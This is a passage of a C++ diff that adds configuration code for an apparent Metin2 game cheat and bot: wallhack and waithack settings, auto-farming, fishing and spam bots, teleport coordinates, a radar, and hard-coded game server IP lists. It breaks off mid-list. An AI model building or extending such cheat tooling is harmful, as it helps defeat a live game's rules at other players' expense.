ITEM_SLOT_8_TIME }, + { "ITEM_SLOT_9_TIME", ITEM_SLOT_9_TIME }, + { "ITEM_SLOT_10_TIME", ITEM_SLOT_10_TIME }, + { "ITEM_SLOT_11_TIME", ITEM_SLOT_11_TIME }, + { "ITEM_SLOT_12_TIME", ITEM_SLOT_12_TIME }, + { "ITEM_SLOT_13_TIME", ITEM_SLOT_13_TIME }, + { "ITEM_SLOT_14_TIME", ITEM_SLOT_14_TIME }, + { "ITEM_SLOT_15_TIME", ITEM_SLOT_15_TIME }, + { "ITEM_SLOT_16_TIME", ITEM_SLOT_16_TIME }, + { "ITEM_PICKUP_ENABLE", ITEM_PICKUP_ENABLE }, + { "ITEM_PICKUP_FILTER_ENABLE", ITEM_PICKUP_FILTER_ENABLE }, + { "ITEM_PICKUP_DISTANCE", ITEM_PICKUP_DISTANCE }, + { "ITEM_PICKUP_STEP", ITEM_PICKUP_STEP }, + { "ITEM_PICKUP_TIME", ITEM_PICKUP_TIME }, + { "ITEM_PICKUP_TYPE", ITEM_PICKUP_TYPE }, + { "FISH_ENABLE", FISH_ENABLE }, + { "FISH_SUCCESS_PERCENTAGE_VALUE_ENABLE", FISH_SUCCESS_PERCENTAGE_VALUE_ENABLE }, + { "FISH_CAST_TIME_MIN_VALUE", FISH_CAST_TIME_MIN_VALUE }, + { "FISH_CAST_TIME_MAX_VALUE", FISH_CAST_TIME_MAX_VALUE }, + { "FISH_ROUND_TIME_MIN_VALUE", FISH_ROUND_TIME_MIN_VALUE }, + { "FISH_ROUND_TIME_MAX_VALUE", FISH_ROUND_TIME_MAX_VALUE }, + { "FISH_EMERGENCY_RUN_TIME_VALUE", FISH_EMERGENCY_RUN_TIME_VALUE }, + { "FISH_SUCCESS_PERCENTAGE_VALUE_ENABLE", FISH_SUCCESS_PERCENTAGE_VALUE_ENABLE }, + { "FISH_CAST_TIME_ENABLE", FISH_CAST_TIME_ENABLE }, + { "FISH_ROUND_TIME_ENABLE", FISH_ROUND_TIME_ENABLE }, + { "FISH_EMERGENCY_RUN_TIME_ENABLE", FISH_EMERGENCY_RUN_TIME_ENABLE }, + { "FISH_DETECT_PLAYER_ENABLE", FISH_DETECT_PLAYER_ENABLE }, + { "FISH_KILL_TILL_SIZE_ENABLE", FISH_KILL_TILL_SIZE_ENABLE }, + { "FISH_KILL_TILL_SIZE_VALUE", FISH_KILL_TILL_SIZE_VALUE }, + { "FISH_USE_FIRST_SLOT_ENABLE", FISH_USE_FIRST_SLOT_ENABLE }, + { "FISH_KILL_FISH_ENABLE", FISH_KILL_FISH_ENABLE }, + { "FISH_SELL_TRASH_ENABLE", FISH_SELL_TRASH_ENABLE }, + { "FISH_SELL_TRASH_AFTER_PERCENTAGE", FISH_SELL_TRASH_AFTER_PERCENTAGE }, + { "FISH_DROP_TRASH_ENABLE", FISH_DROP_TRASH_ENABLE }, + { "FISH_BUY_BAIT_ENABLE", FISH_BUY_BAIT_ENABLE }, + { "FISH_BUY_BAIT_SHOP_SLOT", FISH_BUY_BAIT_SHOP_SLOT }, + { "FISH_BUY_BAIT_SHOP_COUNT", FISH_BUY_BAIT_SHOP_COUNT }, + { "FISH_SHOP_CAST_TELEPORT_ENABLE", FISH_SHOP_CAST_TELEPORT_ENABLE }, + { "FISH_STOP_IF_POSITION_CHANGED_ENABLE", FISH_STOP_IF_POSITION_CHANGED_ENABLE }, + { "FISH_STOP_IF_INVENTORY_FULL_ENABLE", FISH_STOP_IF_INVENTORY_FULL_ENABLE }, + { "FISH_TELEPORT_STEP_RANGE", FISH_TELEPORT_STEP_RANGE }, + { "FARM_ENABLE", FARM_ENABLE }, + { "FARM_MOB_ENABLE", FARM_MOB_ENABLE }, + { "FARM_BOSS_ENABLE", FARM_BOSS_ENABLE }, + { "FARM_METIN_ENABLE", FARM_METIN_ENABLE }, + { "FARM_MINE_ENABLE", FARM_MINE_ENABLE }, + { "FARM_PLANT_ENABLE", FARM_PLANT_ENABLE }, + { "FARM_DISTANCE", FARM_DISTANCE }, + { "FARM_DROP_WAIT_DELAY", FARM_DROP_WAIT_DELAY }, + { "FARM_MOVE_TYPE", FARM_MOVE_TYPE }, + { "FARM_RENDER_PATH_ENABLE", FARM_RENDER_PATH_ENABLE }, + { "SPAM_NORMAL_ENABLE", SPAM_NORMAL_ENABLE }, + { "SPAM_SHOUT_ENABLE", SPAM_SHOUT_ENABLE }, + { "SPAM_WISPER_ENABLE", SPAM_WISPER_ENABLE }, + { "SPAM_NORMAL_TIME", SPAM_NORMAL_TIME }, + { "SPAM_WHISPER_TIME", SPAM_WHISPER_TIME }, + { "SPAM_SHOUT_TIME", SPAM_SHOUT_TIME }, + { "SPAM_NORMAL_COLOR_ENABLE", SPAM_NORMAL_COLOR_ENABLE }, + { "SPAM_WHISPER_COLOR_ENABLE", SPAM_WHISPER_COLOR_ENABLE }, + { "SPAM_SHOUT_COLOR_ENABLE", SPAM_SHOUT_COLOR_ENABLE }, + { "SPAM_NORMAL_RAINBOW_COLOR_ENABLE", SPAM_NORMAL_RAINBOW_COLOR_ENABLE }, + { "SPAM_WHISPER_RAINBOW_COLOR_ENABLE", SPAM_WHISPER_RAINBOW_COLOR_ENABLE }, + { "SPAM_SHOUT_RAINBOW_COLOR_ENABLE", SPAM_SHOUT_RAINBOW_COLOR_ENABLE }, + { "REFINE_UPGRADE_TYPE", REFINE_UPGRADE_TYPE }, + { "REFINE_UPGRADE_COUNT", REFINE_UPGRADE_COUNT }, + { "REFINE_ITEM_SLOT", REFINE_ITEM_SLOT }, + { "BUFF_ENABLE", BUFF_ENABLE }, + { "BUFF_SKILL_1_ENABLE", BUFF_SKILL_1_ENABLE }, + { "BUFF_SKILL_2_ENABLE", BUFF_SKILL_2_ENABLE }, + { "BUFF_SKILL_3_ENABLE", BUFF_SKILL_3_ENABLE }, + { "BUFF_SKILL_1_TIME", BUFF_SKILL_1_TIME }, + { "BUFF_SKILL_2_TIME", BUFF_SKILL_2_TIME }, + { "BUFF_SKILL_3_TIME", BUFF_SKILL_3_TIME }, + { "STATUS_ENABLE", STATUS_ENABLE }, + { "PROTECTION_SHOW_WHISPER_LOGS_ENABLE", PROTECTION_SHOW_WHISPER_LOGS_ENABLE }, + { "PROTECTION_SHOW_WHISPER_BALLOON_ENABLE", PROTECTION_SHOW_WHISPER_BALLOON_ENABLE }, + { "PROTECTION_SHOW_TALK_BALLOON_ENABLE", PROTECTION_SHOW_TALK_BALLOON_ENABLE }, + { "PROTECTION_PLAY_WHISPER_BEEP_ENABLE", PROTECTION_PLAY_WHISPER_BEEP_ENABLE }, + { "PROTECTION_PLAY_TALK_BEEP_ENABLE", PROTECTION_PLAY_TALK_BEEP_ENABLE }, + { "PROTECTION_FLASH_TALK_ICON_ENABLE", PROTECTION_FLASH_TALK_ICON_ENABLE }, + { "PROTECTION_SHOW_TALK_LOGS_ENABLE", PROTECTION_SHOW_TALK_LOGS_ENABLE }, + { "PROTECTION_RESTORE_WISPER_WINDOW_ENABLE", PROTECTION_RESTORE_WISPER_WINDOW_ENABLE }, + { "PROTECTION_FLASH_WHISPER_ICON_ENABLE", PROTECTION_FLASH_WHISPER_ICON_ENABLE }, + { "PROTECTION_DISABLE_RENDER_ENABLE", PROTECTION_DISABLE_RENDER_ENABLE }, + { "PROTECTION_DISABLE_UPDATE_ENABLE", PROTECTION_DISABLE_UPDATE_ENABLE }, + { "PROTECTION_DISABLE_RENDER_FRAMES_ENABLE", PROTECTION_DISABLE_RENDER_FRAMES_ENABLE }, + { "PROTECTION_AUTO_LOGIN_ENABLE", PROTECTION_AUTO_LOGIN_ENABLE }, + { "RADAR_MONSTER_SHOW_ENABLE", RADAR_MONSTER_SHOW_ENABLE }, + { "RADAR_BOSS_SHOW_ENABLE", RADAR_BOSS_SHOW_ENABLE }, + { "RADAR_NPC_SHOW_ENABLE", RADAR_NPC_SHOW_ENABLE }, + { "RADAR_MINING_SHOW_ENABLE", RADAR_MINING_SHOW_ENABLE }, + { "RADAR_STONE_SHOW_ENABLE", RADAR_STONE_SHOW_ENABLE }, + { "RADAR_PLAYER_SHOW_ENABLE", RADAR_PLAYER_SHOW_ENABLE }, + { "RADAR_WAYPOINT_SHOW_ENABLE", RADAR_WAYPOINT_SHOW_ENABLE }, + + }; + ns::to_json(j["MAIN_WH_RENDER_COLOR"], MAIN_WH_RENDER_COLOR); + ns::to_json(j["FISH_SHOP_TELEPORT_CORDS"], FISH_SHOP_TELEPORT_CORDS); + ns::to_json(j["FISH_CAST_TELEPORT_CORDS"], FISH_CAST_TELEPORT_CORDS); + ns::to_json(j["SPAM_NORMAL_COLOR"], SPAM_NORMAL_COLOR); + ns::to_json(j["SPAM_WHISPER_COLOR"], SPAM_WHISPER_COLOR); + ns::to_json(j["SPAM_SHOUT_COLOR"], SPAM_SHOUT_COLOR); + ns::to_json(j["RADAR_MONSTER_COLOR"], RADAR_MONSTER_COLOR); + ns::to_json(j["RADAR_BOSS_COLOR"], RADAR_BOSS_COLOR); + ns::to_json(j["RADAR_NPC_COLOR"], RADAR_NPC_COLOR); + ns::to_json(j["RADAR_MINE_COLOR"], RADAR_MINE_COLOR); + ns::to_json(j["RADAR_STONE_COLOR"], RADAR_STONE_COLOR); + ns::to_json(j["RADAR_PLAYER_COLOR"], RADAR_PLAYER_COLOR); + ns::to_json(j["RADAR_WAYPOINT_COLOR"], RADAR_WAYPOINT_COLOR); + string dump = j.dump(4); + if (FileExtension::CreateDirectoryPath(folderPath.c_str())) + { + string filePath = folderPath + name + ".mc"; + FileExtension::Write(filePath, dump); + } + } + + static void Remove(string name, string folderPath, string extension) + { + string path = folderPath + name + "." + extension; + remove(path.c_str()); + } + + static vector PROTECTION_DETECT_PLAYER_WHITE_LIST; + static map< pair, pair> FISH_KILL_FISH_LIST; + static map< pair, pair> FISH_BAIT_LIST; + static map< pair, pair> FISH_DROP_LIST; + static map< pair, pair> FISH_SELL_LIST; + static map< DWORD, pair> FISH_ROD_REFINE_POINTS; + static map> FISH_COMMAND_LIST; + static map< pair>, pair> SERVER_INFO_LIST_GLOBAL; + static map< pair>, pair> SERVER_INFO_LIST; + static map< DWORD, pair> ITEM_PICKUP_SELECTED_LIST; + static vector cordsMaps; + + //################# MAIN + + static bool MAIN_STONE_DETECT_ENABLE; + static bool MAIN_MOBBER_ENABLE; + static bool MAIN_ATTACK_ENABLE; + static bool MAIN_ROTATION_ENABLE; + static int MAIN_ROTATION_SPEED_VALUE; + static bool MAIN_SKILL_ENABLE; + static bool MAIN_SKILL_1_ENABLE; + static bool MAIN_SKILL_2_ENABLE; + static bool MAIN_SKILL_3_ENABLE; + static bool MAIN_SKILL_4_ENABLE; + static bool MAIN_SKILL_5_ENABLE; + static bool MAIN_SKILL_6_ENABLE; + static bool MAIN_NOK_ENABLE; + static bool MAIN_NOP_ENABLE; + static bool MAIN_WALL_MOB_ENABLE; + static bool MAIN_WALL_OBJECT_ENABLE; + static bool MAIN_WALL_TERRAIN_ENABLE; + static bool MAIN_WH_ENABLE; + static int MAIN_WH_DISTANCE_VALUE; + static int MAIN_WH_DISTANCE_STEP; + static int MAIN_WH_WEAPON_TYPE; + static bool MAIN_WAITHACK_RANGE_ENABLE; + static int MAIN_WH_SKILL_COOLDOWN_TIME; + static int MAIN_WH_TIME; + static int MAIN_WH_ATTACK_TYPE; + static bool MAIN_WH_RENDER_ENABLE; + static ImVec4 MAIN_WH_RENDER_COLOR; + static int MAIN_WH_SKILL_VALUE; + static bool MAIN_WH_MONSTER; + static bool MAIN_WH_METIN; + static bool MAIN_WH_BOSS; + static bool MAIN_WH_PLAYER; + static bool MAIN_MOB_DETECT_ENABLE; + static bool MAIN_POTION_ENABLE; + static bool MAIN_RED_POTION_ENABLE; + static int MAIN_RED_POTION_PERCENTAGE_VALUE; + static int MAIN_RED_POTION_SPEED_VALUE; + static bool MAIN_BLUE_POTION_ENABLE; + static int MAIN_BLUE_POTION_PERCENTAGE_VALUE; + static int MAIN_BLUE_POTION_SPEED_VALUE; + static bool MAIN_AUTO_REVIVE_ENABLE; + static int MAIN_AUTO_REVIVE_PERCENTAGE_VALUE; + static int MAIN_CHANNEL_CHANGER_PORT_OFFSET; + static int MAIN_BOOST_KEY; + static int MAIN_RELOG_KEY; + static int MAIN_GLOBAL_SWITCH_KEY; + static int MAIN_HIDE_UI_KEY; + static int MAIN_BOOST_SPEED; + static bool MAIN_WH_DETECT_PLAYER_ENABLE; + + //################# ITEM + + static bool ITEM_SLOT_RANDOM_ENABLE; + static bool ITEM_SLOT_3_ENABLE; + static bool ITEM_SLOT_4_ENABLE; + static bool ITEM_SLOT_5_ENABLE; + static bool ITEM_SLOT_6_ENABLE; + static bool ITEM_SLOT_7_ENABLE; + static bool ITEM_SLOT_8_ENABLE; + static bool ITEM_SLOT_9_ENABLE; + static bool ITEM_SLOT_10_ENABLE; + static bool ITEM_SLOT_11_ENABLE; + static bool ITEM_SLOT_12_ENABLE; + static bool ITEM_SLOT_13_ENABLE; + static bool ITEM_SLOT_14_ENABLE; + static bool ITEM_SLOT_15_ENABLE; + static bool ITEM_SLOT_16_ENABLE; + static float ITEM_SLOT_RANDOM_MIN_TIME; + static float ITEM_SLOT_RANDOM_MAX_TIME; + static float ITEM_SLOT_3_TIME; + static float ITEM_SLOT_4_TIME; + static float ITEM_SLOT_5_TIME; + static float ITEM_SLOT_6_TIME; + static float ITEM_SLOT_7_TIME; + static float ITEM_SLOT_8_TIME; + static float ITEM_SLOT_9_TIME; + static float ITEM_SLOT_10_TIME; + static float ITEM_SLOT_11_TIME; + static float ITEM_SLOT_12_TIME; + static float ITEM_SLOT_13_TIME; + static float ITEM_SLOT_14_TIME; + static float ITEM_SLOT_15_TIME; + static float ITEM_SLOT_16_TIME; + static bool ITEM_PICKUP_ENABLE; + static bool ITEM_PICKUP_FILTER_ENABLE; + static int ITEM_PICKUP_DISTANCE; + static int ITEM_PICKUP_STEP; + static int ITEM_PICKUP_TIME; + static int ITEM_PICKUP_TYPE; + + //################# FISH + + static bool FISH_ENABLE; + static int FISH_SUCCESS_PERCENTAGE_VALUE; + static int FISH_CAST_TIME_MIN_VALUE; + static int FISH_CAST_TIME_MAX_VALUE; + static int FISH_ROUND_TIME_MIN_VALUE; + static int FISH_ROUND_TIME_MAX_VALUE; + static int FISH_EMERGENCY_RUN_TIME_VALUE; + static bool FISH_SUCCESS_PERCENTAGE_VALUE_ENABLE; + static bool FISH_CAST_TIME_ENABLE; + static bool FISH_ROUND_TIME_ENABLE; + static bool FISH_EMERGENCY_RUN_TIME_ENABLE; + static bool FISH_DETECT_PLAYER_ENABLE; + static bool FISH_KILL_TILL_SIZE_ENABLE; + static float FISH_KILL_TILL_SIZE_VALUE; + static bool FISH_USE_FIRST_SLOT_ENABLE; + static bool FISH_KILL_FISH_ENABLE; + static bool FISH_SELL_TRASH_ENABLE; + static int FISH_SELL_TRASH_AFTER_PERCENTAGE; + static bool FISH_DROP_TRASH_ENABLE; + static bool FISH_BUY_BAIT_ENABLE; + static int FISH_BUY_BAIT_SHOP_SLOT; + static int FISH_BUY_BAIT_SHOP_COUNT; + static bool FISH_SHOP_CAST_TELEPORT_ENABLE; + static D3DVECTOR FISH_SHOP_TELEPORT_CORDS; + static D3DVECTOR FISH_CAST_TELEPORT_CORDS; + static bool FISH_STOP_IF_POSITION_CHANGED_ENABLE; + static bool FISH_STOP_IF_INVENTORY_FULL_ENABLE; + static int FISH_TELEPORT_STEP_RANGE; + + //################# FARM + + static bool FARM_ENABLE; + static bool FARM_MOB_ENABLE; + static bool FARM_BOSS_ENABLE; + static bool FARM_METIN_ENABLE; + static bool FARM_MINE_ENABLE; + static bool FARM_PLANT_ENABLE; + static int FARM_DISTANCE; + static float FARM_DROP_WAIT_DELAY; + static int FARM_MOVE_TYPE; + static bool FARM_RENDER_PATH_ENABLE; + + //################# SPAM + + static bool SPAM_NORMAL_ENABLE; + static bool SPAM_SHOUT_ENABLE; + static bool SPAM_WISPER_ENABLE; + static float SPAM_NORMAL_TIME; + static float SPAM_WHISPER_TIME; + static float SPAM_SHOUT_TIME; + static ImVec4 SPAM_NORMAL_COLOR; + static ImVec4 SPAM_WHISPER_COLOR; + static ImVec4 SPAM_SHOUT_COLOR; + static bool SPAM_NORMAL_COLOR_ENABLE; + static bool SPAM_WHISPER_COLOR_ENABLE; + static bool SPAM_SHOUT_COLOR_ENABLE; + static bool SPAM_NORMAL_RAINBOW_COLOR_ENABLE; + static bool SPAM_WHISPER_RAINBOW_COLOR_ENABLE; + static bool SPAM_SHOUT_RAINBOW_COLOR_ENABLE; + + //################# REFINE + + static int REFINE_UPGRADE_TYPE; + static int REFINE_UPGRADE_COUNT; + static int REFINE_ITEM_SLOT; + + //################# BUFF + + static bool BUFF_ENABLE; + static bool BUFF_SKILL_1_ENABLE; + static bool BUFF_SKILL_2_ENABLE; + static bool BUFF_SKILL_3_ENABLE; + static float BUFF_SKILL_1_TIME; + static float BUFF_SKILL_2_TIME; + static float BUFF_SKILL_3_TIME; + + //################# STATUS + + static bool STATUS_ENABLE; + + + //################# PROTECTION + + static bool PROTECTION_SHOW_WHISPER_LOGS_ENABLE; + static bool PROTECTION_SHOW_WHISPER_BALLOON_ENABLE; + static bool PROTECTION_SHOW_TALK_BALLOON_ENABLE; + static bool PROTECTION_PLAY_WHISPER_BEEP_ENABLE;; + static bool PROTECTION_PLAY_TALK_BEEP_ENABLE; + static bool PROTECTION_FLASH_TALK_ICON_ENABLE; + static bool PROTECTION_SHOW_TALK_LOGS_ENABLE; + static bool PROTECTION_RESTORE_WISPER_WINDOW_ENABLE;; + static bool PROTECTION_FLASH_WHISPER_ICON_ENABLE; + static bool PROTECTION_DISABLE_RENDER_ENABLE; + static bool PROTECTION_DISABLE_UPDATE_ENABLE; + static bool PROTECTION_DISABLE_RENDER_FRAMES_ENABLE; + static bool PROTECTION_AUTO_LOGIN_ENABLE; + + //################# RADAR + + static ImVec4 RADAR_MONSTER_COLOR; + static ImVec4 RADAR_BOSS_COLOR; + static ImVec4 RADAR_NPC_COLOR; + static ImVec4 RADAR_MINE_COLOR; + static ImVec4 RADAR_STONE_COLOR; + static ImVec4 RADAR_PLAYER_COLOR; + static ImVec4 RADAR_WAYPOINT_COLOR; + static bool RADAR_MONSTER_SHOW_ENABLE; + static bool RADAR_BOSS_SHOW_ENABLE; + static bool RADAR_NPC_SHOW_ENABLE; + static bool RADAR_MINING_SHOW_ENABLE; + static bool RADAR_STONE_SHOW_ENABLE; + static bool RADAR_PLAYER_SHOW_ENABLE; + static bool RADAR_WAYPOINT_SHOW_ENABLE; + static float RADAR_ZOOM; + + //################# OTHER + + static bool GLOBAL_SWITCH_ENABLE; + static bool DUNGEON_BOT_ENABLE; + static int DUNGEON_TYPE; + + static DWORD INVENTORY_PAGE_SIZE; + static DWORD INVENTORY_PAGE_COUNT; + + +}; +//$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ + +map< pair>, pair> Settings::SERVER_INFO_LIST_GLOBAL = +{ + { make_pair(1, make_pair("Amicicia","CH1")), make_pair(12100, "79.110.92.173") }, + { make_pair(2, make_pair("Amicicia","CH2")), make_pair(12200, "79.110.92.176") }, + { make_pair(3, make_pair("Amicicia","CH3")), make_pair(12300, "79.110.92.181") }, + { make_pair(4, make_pair("Amicicia","CH4")), make_pair(12400, "79.110.92.173") }, + { make_pair(5, make_pair("Amicicia","CH5")), make_pair(12500, "79.110.92.176") }, + { make_pair(6, make_pair("Amicicia","CH6")), make_pair(12600, "79.110.92.181") }, + { make_pair(7, make_pair("Amicicia","CH7")), make_pair(12700, "79.110.92.173") }, + { make_pair(8, make_pair("Amicicia","CH8")), make_pair(12800, "79.110.92.176") }, + { make_pair(9, make_pair("Amicicia","CH9")), make_pair(12900, "79.110.92.181") }, + + { make_pair(10, make_pair("Carptura","CH1")), make_pair(12100, "79.110.92.187") }, + { make_pair(11, make_pair("Carptura","CH2")), make_pair(12200, "79.110.92.189") }, + { make_pair(12, make_pair("Carptura","CH3")), make_pair(12300, "79.110.92.190") }, + { make_pair(13, make_pair("Carptura","CH4")), make_pair(12400, "79.110.92.187") }, + { make_pair(14, make_pair("Carptura","CH5")), make_pair(12500, "79.110.92.189") }, + { make_pair(15, make_pair("Carptura","CH6")), make_pair(12600, "79.110.92.190") }, + { make_pair(16, make_pair("Carptura","CH7")), make_pair(12700, "79.110.92.187") }, + { make_pair(17, make_pair("Carptura","CH8")), make_pair(12800, "79.110.92.189") }, + { make_pair(18, make_pair("Carptura","CH9")), make_pair(12900, "79.110.92.190") }, + + { make_pair(19, make_pair("Polyphemos","CH1")), make_pair(12100, "79.110.92.201") }, + { make_pair(20, make_pair("Polyphemos","CH2")), make_pair(12200, "79.110.92.229") }, + { make_pair(21, make_pair("Polyphemos","CH3")), make_pair(12300, "79.110.92.201") }, + { make_pair(22, make_pair("Polyphemos","CH4")), make_pair(12400, "79.110.92.229") }, + { make_pair(23, make_pair("Polyphemos","CH5")), make_pair(12500, "79.110.92.201") }, + { make_pair(24, make_pair("Polyphemos","CH6")), make_pair(12600, "79.110.92.229") }, + { make_pair(25, make_pair("Polyphemos","CH7")), make_pair(12700, "79.110.92.126") }, + { make_pair(26, make_pair("Polyphemos","CH8")), make_pair(12800, "79.110.92.126") }, + { make_pair(27, make_pair("Polyphemos","CH9")), make_pair(12900, "79.110.92.126") }, + + + { make_pair(28, make_pair("Tigerghost","CH1")), make_pair(12100, "79.110.92.207") }, + { make_pair(29, make_pair("Tigerghost","CH2")), make_pair(12200, "79.110.92.127") }, + { make_pair(30, make_pair("Tigerghost","CH3")), make_pair(12300, "79.110.92.207") }, + { make_pair(31, make_pair("Tigerghost","CH4")), make_pair(12400, "79.110.92.127") }, + { make_pair(32, make_pair("Tigerghost","CH5")), make_pair(12500, "79.110.92.207") }, + { make_pair(33, make_pair("Tigerghost","CH6")), make_pair(12600, "79.110.92.127") }, + + { make_pair(34, make_pair("Polska","CH1")), make_pair(12101, "79.110.92.116") }, + { make_pair(35, make_pair("Polska","CH2")), make_pair(12201, "79.110.92.117") }, + { make_pair(36, make_pair("Polska","CH3")), make_pair(12301, "79.110.92.116") }, + { make_pair(37, make_pair("Polska","CH4")), make_pair(12401, "79.110.92.117") }, + { make_pair(38, make_pair("Polska","CH5")), make_pair(12501, "79.110.92.116") }, + { make_pair(39, make_pair("Polska","CH6")), make_pair(12601, "79.110.92.117") }, + { make_pair(40, make_pair("Polska","CH7")), make_pair(12701, "79.110.92.172") }, + { make_pair(41, make_pair("Polska","CH8")), make_pair(12801, "79.110.92.172") }, + { make_pair(42, make_pair("Polska","CH9")), make_pair(12901, "79.110.92.172") }, + + + + + { make_pair(43, make_pair("Romania","CH1")), make_pair(12100, "79.110.92.75") }, + { make_pair(44, make_pair("Romania","CH2")), make_pair(12200, "79.110.92.199") }, + { make_pair(45, make_pair("Romania","CH3")), make_pair(12300, "79.110.92.75") }, + { make_pair(46, make_pair("Romania","CH4")), make_pair(12400, "79.110.92.199") }, + { make_pair(47, make_pair("Romania","CH5")), make_pair(12500, "79.110.92.75") }, + { make_pair(48, make_pair("Romania","CH6")), make_pair(12600, "79.110.92.199") }, + { make_pair(49, make_pair("Romania","CH7")), make_pair(12700, "79.110.92.26") }, + { make_pair(50, make_pair("Romania","CH8")), make_pair(12800, "79.110.92.26") }, + { make_pair(51, make_pair("Romania","CH9")), make_pair(12900, "79.110.92.26") }, + + + + + { make_pair(52, make_pair("Germania","CH1")), make_pair(12100, "79.110.92.188") }, + { make_pair(53, make_pair("Germania","CH2")), make_pair(12200, "79.110.92.133") }, + { make_pair(54, make_pair("Germania","CH3")), make_pair(12300, "79.110.92.188") }, + { make_pair(55, make_pair("Germania","CH4")), make_pair(12400, "79.110.92.133") }, + { make_pair(56, make_pair("Germania","CH5")), make_pair(12500, "79.110.92.188") }, + { make_pair(57, make_pair("Germania","CH6")), make_pair(12600, "79.110.92.133") }, + { make_pair(58, make_pair("Germania","CH7")), make_pair(12700, "79.110.92.131") }, + { make_pair(59, make_pair("Germania","CH8")), make_pair(12800, "79.110.92.131") }, + { make_pair(60, make_pair("Germania","CH9")), make_pair(12900, "79.110.92.131") }, + + + + + { make_pair(61, make_pair("Turkiye","CH1")), make_pair(12100, "79.110.92.24") }, + { make_pair(62, make_pair("Turkiye","CH2")), make_pair(12200, "79.110.92.135") }, + { make_pair(63, make_pair("Turkiye","CH3")), make_pair(12300, "79.110.92.24") }, + { make_pair(64, make_pair("Turkiye","CH4")), make_pair(12400, "79.110.92.135") }, + { make_pair(65, make_pair("Turkiye","CH5")), make_pair(12500, "79.110.92.24") }, + { make_pair(66, make_pair("Turkiye","CH6")), make_pair(12600, "79.110.92.135") }, + { make_pair(67, make_pair("Turkiye","CH7")), make_pair(12700, "79.110.92.214") }, + { make_pair(68, make_pair("Turkiye","CH8")), make_pair(12800, "79.110.92.214") }, + { make_pair(69, make_pair("Turkiye","CH9")), make_pair(12900, "79.110.92.214") }, + + + + + { make_pair(70, make_pair("Italy","CH1")), make_pair(12101, "79.110.92.128") }, + { make_pair(71, make_pair("Italy","CH2")), make_pair(12201, "79.110.92.129") }, + { make_pair(72, make_pair("Italy","CH3")), make_pair(12301, "79.110.92.128") }, + { make_pair(73, make_pair("Italy","CH4")), make_pair(12401, "79.110.92.129") }, + { make_pair(74, make_pair("Italy","CH5")), make_pair(12501, "79.110.92.128") }, + { make_pair(75, make_pair("Italy","CH6")), make_pair(12601, "79.110.92.129") }, + { make_pair(76, make_pair("Italy","CH7")), make_pair(12701, "79.110.92.88") }, + { make_pair(77, make_pair("Italy","CH8")), make_pair(12801, "79.110.92.88") }, + { make_pair(78, make_pair("Italy","CH9")), make_pair(12901, "79.110.92.88") }, + + + + + { make_pair(79, make_pair("Azrael","CH1")), make_pair(12100, "79.110.92.191") }, + { make_pair(80, make_pair("Azrael","CH2")), make_pair(12200, "79.110.92.132") }, + { make_pair(81, make_pair("Azrael","CH3")), make_pair(12300, "79.110.92.191") }, + { make_pair(82, make_pair("Azrael","CH4")), make_pair(12400, "79.110.92.132") }, + { make_pair(83, make_pair("Azrael","CH5")), make_pair(12500, "79.110.92.191") }, + { make_pair(84, make_pair("Azrael","CH6")), make_pair(12600, "79.110.92.132") }, + { make_pair(85, make_pair("Azrael","CH7")), make_pair(12700, "79.110.92.123") }, + { make_pair(86, make_pair("Azrael","CH8")), make_pair(12800, "79.110.92.123") }, + { make_pair(87, make_pair("Azrael","CH9")), make_pair(12900, "79.110.92.123") }, + + + + + { make_pair(88, make_pair("Sodalitas","CH1")), make_pair(12100, "79.110.92.182") }, + { make_pair(89, make_pair("Sodalitas","CH2")), make_pair(12200, "79.110.92.183") }, + { make_pair(90, make_pair("Sodalitas","CH3")), make_pair(12300, "79.110.92.184") }, + { make_pair(91, make_pair("Sodalitas","CH4")), make_pair(12400, "79.110.92.182") }, + { make_pair(92, make_pair("Sodalitas","CH5")), make_pair(12500, "79.110.92.183") }, + { make_pair(93, make_pair("Sodalitas","CH6")), make_pair(12600, "79.110.92.184") }, + { make_pair(94, make_pair("Sodalitas","CH7")), make_pair(12700, "79.110.92.182") }, + { make_pair(95, make_pair("Sodalitas","CH8")), make_pair(12800, "79.110.92.183") }, + { make_pair(96, make_pair("Sodalitas","CH9")), make_pair(12900, "79.110.92.184") }, + + + + + { make_pair(97, make_pair("Europe","CH1")), make_pair(12100, "79.110.92.136") }, + { make_pair(98, make_pair("Europe","CH2")), make_pair(12200, "79.110.92.224") }, + { make_pair(99, make_pair("Europe","CH3")), make_pair(12300, "79.110.92.136") }, + { make_pair(100, make_pair("Europe","CH4")), make_pair(12400, "79.110.92.224") }, + { make_pair(101, make_pair("Europe","CH5")), make_pair(12500, "79.110.92.136") }, + + + + + { make_pair(102, make_pair("Anima","CH1")), make_pair(12100, "79.110.92.179") }, + { make_pair(103, make_pair("Anima","CH2")), make_pair(12200, "79.110.92.180") }, + { make_pair(104, make_pair("Anima","CH3")), make_pair(12300, "79.110.92.179") }, + { make_pair(105, make_pair("Anima","CH4")), make_pair(12400, "79.110.92.180") }, + { make_pair(106, make_pair("Anima","CH5")), make_pair(12500, "79.110.92.179") }, + { make_pair(107, make_pair("Anima","CH6")), make_pair(12600, "79.110.92.180") }, + { make_pair(108, make_pair("Anima","CH7")), make_pair(12700, "79.110.92.89") }, +}; +map< pair>, pair> Settings::SERVER_INFO_LIST = +{ + { make_pair(1, make_pair(ServerName::VIDGAR,"CH1")), make_pair(60106, "137.74.5.73") }, + { make_pair(2, make_pair(ServerName::VIDGAR,"CH2")), make_pair(60206, "137.74.5.73") }, + { make_pair(3, make_pair(ServerName::VIDGAR,"CH3")), make_pair(60306, "137.74.5.73") }, + { make_pair(4, make_pair(ServerName::VIDGAR,"CH4")), make_pair(60406, "137.74.5.73") }, + { make_pair(5, make_pair(ServerName::VIDGAR,"CH5")), make_pair(60506, "137.74.5.73") }, + { make_pair(6, make_pair(ServerName::VIDGAR,"CH6")), make_pair(60606, "137.74.5.73") }, + { make_pair(7, make_pair(ServerName::VIDGAR,"CH7")), make_pair(60706, "137.74.5.73") }, + { make_pair(8, make_pair(ServerName::VIDGAR,"CH8")), make_pair(60806, "137.74.5.73") }, + + { make_pair(9, make_pair(ServerName::PANGEA,"CH1")), make_pair(41000, "51.77.43.124") }, + { make_pair(10, make_pair(ServerName::PANGEA,"CH2")), make_pair(42000, "51.77.43.124") }, + { make_pair(11, make_pair(ServerName::PANGEA,"CH3")), make_pair(43000, "51.77.43.124") }, + { make_pair(12, make_pair(ServerName::PANGEA,"CH4")), 